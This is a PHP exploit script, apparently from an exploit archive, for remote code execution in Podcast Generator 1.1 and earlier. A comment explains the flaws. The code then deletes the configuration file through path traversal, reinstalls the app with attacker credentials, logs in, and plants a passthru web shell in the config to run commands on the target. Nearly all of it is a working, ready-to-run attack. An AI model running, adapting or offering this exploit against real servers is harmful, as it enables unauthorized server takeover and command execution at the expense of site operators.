Podcast Generator 1.1 Code Execution

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "  
  
Podcast Generator <= 1.1 Remote Code Execution  
  
Vendor: http://podcastgen.sourceforge.net  
Exploit Author: BlackHawk  
Author's Site: http://itablackhawk.altervista.org  
  
Credits goes to RGod for the code  
Thanks to Marija just for exist :)  
  
  
";  
if ($argc<4) {  
echo "  
  
Usage: php ".$argv[0]." host /path/ command  
  
Es: php ".$argv[0]." localhost / dir  
  
";  
die;  
}  
/*  
Bugs explanation:  
  
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!  
  
Look at 'core/admin/delete.php' (i have omitted the author comments):  
  
---------------------------  
  
<?php  
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; }   
if (isset($_GET['file']) AND $_GET['file']!=NULL) {  
$file = $_GET['file'];   
$ext = $_GET['ext'];  
if (file_exists("$absoluteurl$upload_dir$file.$ext")) {  
unlink ("$upload_dir$file.$ext");  
$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";  
}  
  
---------------------------  
  
no check for admin rights, so now we can delete whatever file we want, with any exstension..  
  
so let's delete config.php and make a rfesh new installation with a password set by us!  
  
the RCE is triggered in 'core/admin/scriptconfig.php', line 56:  
  
---------------------------  
// recent in home  
$recent = $_POST['recent'];  
if ($recent != "") {  
$max_recent = $recent;  
}  
---------------------------  
  
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)  
BlackHawk <[email protected]>  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
  
$cmd="";  
for ($i=3; $i<=$argc-1; $i++){  
$cmd.=" ".$argv[$i];  
}  
$port=80;  
$proxy="";  
  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "Step1 - Delete config.inc\r\n";  
$packet ="GET ".$p."core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
echo "Step2 - Creating new configuration\r\n";  
  
$data="username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en";  
$packet="POST ".$p."/setup/index.php?step=5 HTTP/1.0\r\n";  
$packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step3 - Logging in\r\n";  
$data="user=new_user_name&password=blackhawk";  
$packet="POST ".$p."?p=admin HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);  
$PHPid = $temp2[0];  
  
  
echo "Step4 - Sending shell\r\n";  
$data="streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en";  
$packet="POST ".$p."?do=config&p=admin&action=change HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: $PHPid\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step5 - Executing Command\r\n\r\n";  
$packet ="GET ".$p."config.php?cmd=dir HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
?>  
  
  
`